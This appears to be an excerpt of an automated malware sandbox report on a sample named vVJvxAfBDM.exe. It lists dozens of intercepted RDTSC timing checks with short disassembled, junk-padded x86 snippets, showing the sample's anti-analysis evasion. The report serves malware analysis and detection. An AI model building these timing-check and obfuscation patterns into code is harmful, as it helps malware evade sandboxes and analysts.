Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C2C1 second address: 30C2D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FA9388D7B7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C459 second address: 30C46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push esi 0x00000009 js 00007FA938DCFC36h 0x0000000f pop esi 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D5194 second address: 2D5198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D5198 second address: 2D519C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D519C second address: 2D51A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D51A2 second address: 2D51AC instructions: 0x00000000 rdtsc 0x00000002 je 00007FA938DCFC50h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D51AC second address: 2D51C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B84h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CB67 second address: 30CB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FA938DCFC36h 0x00000009 jmp 00007FA938DCFC3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CCCF second address: 30CCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA9388D7B76h 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FA9388D7B7Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CF8B second address: 30CF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CF91 second address: 30CFAE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA9388D7B76h 0x00000008 jmp 00007FA9388D7B80h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CFAE second address: 30CFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30CFB8 second address: 30CFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30F5AF second address: 30F5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 313291 second address: 313295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 313295 second address: 313299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 313299 second address: 31329F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 314336 second address: 314349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA938DCFC3Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31891E second address: 318930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 ja 00007FA9388D7B76h 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 318930 second address: 31893E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FA938DCFC36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2DBBF6 second address: 2DBC10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B86h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2DBC10 second address: 2DBC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FA938DCFC46h 0x0000000f pushad 0x00000010 jmp 00007FA938DCFC3Ah 0x00000015 push edx 0x00000016 pop edx 0x00000017 ja 00007FA938DCFC36h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 317EFE second address: 317F65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B85h 0x00000007 jmp 00007FA9388D7B80h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FA9388D7B85h 0x00000018 jmp 00007FA9388D7B7Fh 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007FA9388D7B7Eh 0x00000024 push edx 0x00000025 pop edx 0x00000026 push eax 0x00000027 pop eax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31821F second address: 31823B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007FA938DCFC36h 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007FA938DCFC3Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3184DD second address: 3184E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31AC19 second address: 31AC25 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA938DCFC36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31AC25 second address: 31AC2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C856 second address: 31C897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jo 00007FA938DCFC36h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007FA938DCFC3Ah 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ecx 0x00000019 push eax 0x0000001a jmp 00007FA938DCFC3Bh 0x0000001f pop eax 0x00000020 pop ecx 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FA938DCFC3Fh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C897 second address: 31C89D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C89D second address: 31C8CA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA938DCFC3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007FA938DCFC40h 0x00000014 jo 00007FA938DCFC3Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C8CA second address: 31C8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [ebp+124540C3h], eax 0x0000000c push 0419ECDCh 0x00000011 pushad 0x00000012 jmp 00007FA9388D7B7Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31CA02 second address: 31CA06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31CF01 second address: 31CF1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA9388D7B81h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31CF1F second address: 31CF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC45h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E912 second address: 31E91C instructions: 0x00000000 rdtsc 0x00000002 js 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E772 second address: 31E776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E91C second address: 31E922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E776 second address: 31E77A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E77A second address: 31E780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E780 second address: 31E786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31F9AE second address: 31F9CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B87h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31E786 second address: 31E78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31F9CD second address: 31FA40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D1D6Bh], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FA9388D7B78h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FA9388D7B78h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov di, C217h 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 push edx 0x00000051 jnp 00007FA9388D7B76h 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31FA40 second address: 31FA46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3202A6 second address: 3202AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3202AC second address: 3202B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 320D46 second address: 320D50 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3202B1 second address: 3202BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA938DCFC3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 321B1E second address: 321B23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 321B23 second address: 321B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jns 00007FA938DCFC36h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 321B35 second address: 321B40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FA9388D7B76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 325F6D second address: 325FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FA938DCFC49h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FA938DCFC38h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 movsx edi, di 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FA938DCFC38h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov bx, 70F8h 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FA938DCFC46h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 325FF6 second address: 325FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 325FFA second address: 326000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 326F9F second address: 326FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FA9388D7B83h 0x0000000b nop 0x0000000c xor edi, dword ptr [ebp+122D3945h] 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D1827h], eax 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FA9388D7B78h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov di, AC72h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jbe 00007FA9388D7B7Ch 0x00000043 jo 00007FA9388D7B76h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3237B0 second address: 3237B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 326FFF second address: 327011 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA9388D7B78h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 326222 second address: 326233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FA938DCFC3Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3237B4 second address: 3237CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B82h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 327011 second address: 327015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 327EEC second address: 327EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 327EF0 second address: 327EF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 327145 second address: 327167 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA9388D7B80h 0x00000008 jmp 00007FA9388D7B7Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007FA9388D7B76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32A028 second address: 32A02E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32A153 second address: 32A168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32A168 second address: 32A16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32A16D second address: 32A189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32BF0F second address: 32BF21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA938DCFC3Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32D0D7 second address: 32D0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32D0DB second address: 32D0DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32E028 second address: 32E0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007FA9388D7B83h 0x0000000c jmp 00007FA9388D7B7Dh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FA9388D7B78h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D3871h] 0x00000032 push 00000000h 0x00000034 jmp 00007FA9388D7B7Dh 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007FA9388D7B78h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 mov edi, dword ptr [ebp+122D3329h] 0x0000005b xchg eax, esi 0x0000005c jne 00007FA9388D7B96h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FA9388D7B7Ah 0x0000006a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32C1D6 second address: 32C1E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 332562 second address: 332568 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 332568 second address: 33256E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33256E second address: 332572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 332572 second address: 332576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 333588 second address: 3335FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA9388D7B76h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FA9388D7B78h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FA9388D7B78h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 or dword ptr [ebp+122D2297h], edi 0x0000004b mov dword ptr [ebp+122D1887h], ebx 0x00000051 push 00000000h 0x00000053 mov bx, BEFAh 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a js 00007FA9388D7B7Ch 0x00000060 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3335FA second address: 33360A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA938DCFC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 334654 second address: 334658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 334658 second address: 3346E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D315Fh], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FA938DCFC38h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jnp 00007FA938DCFC3Ch 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FA938DCFC38h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ah 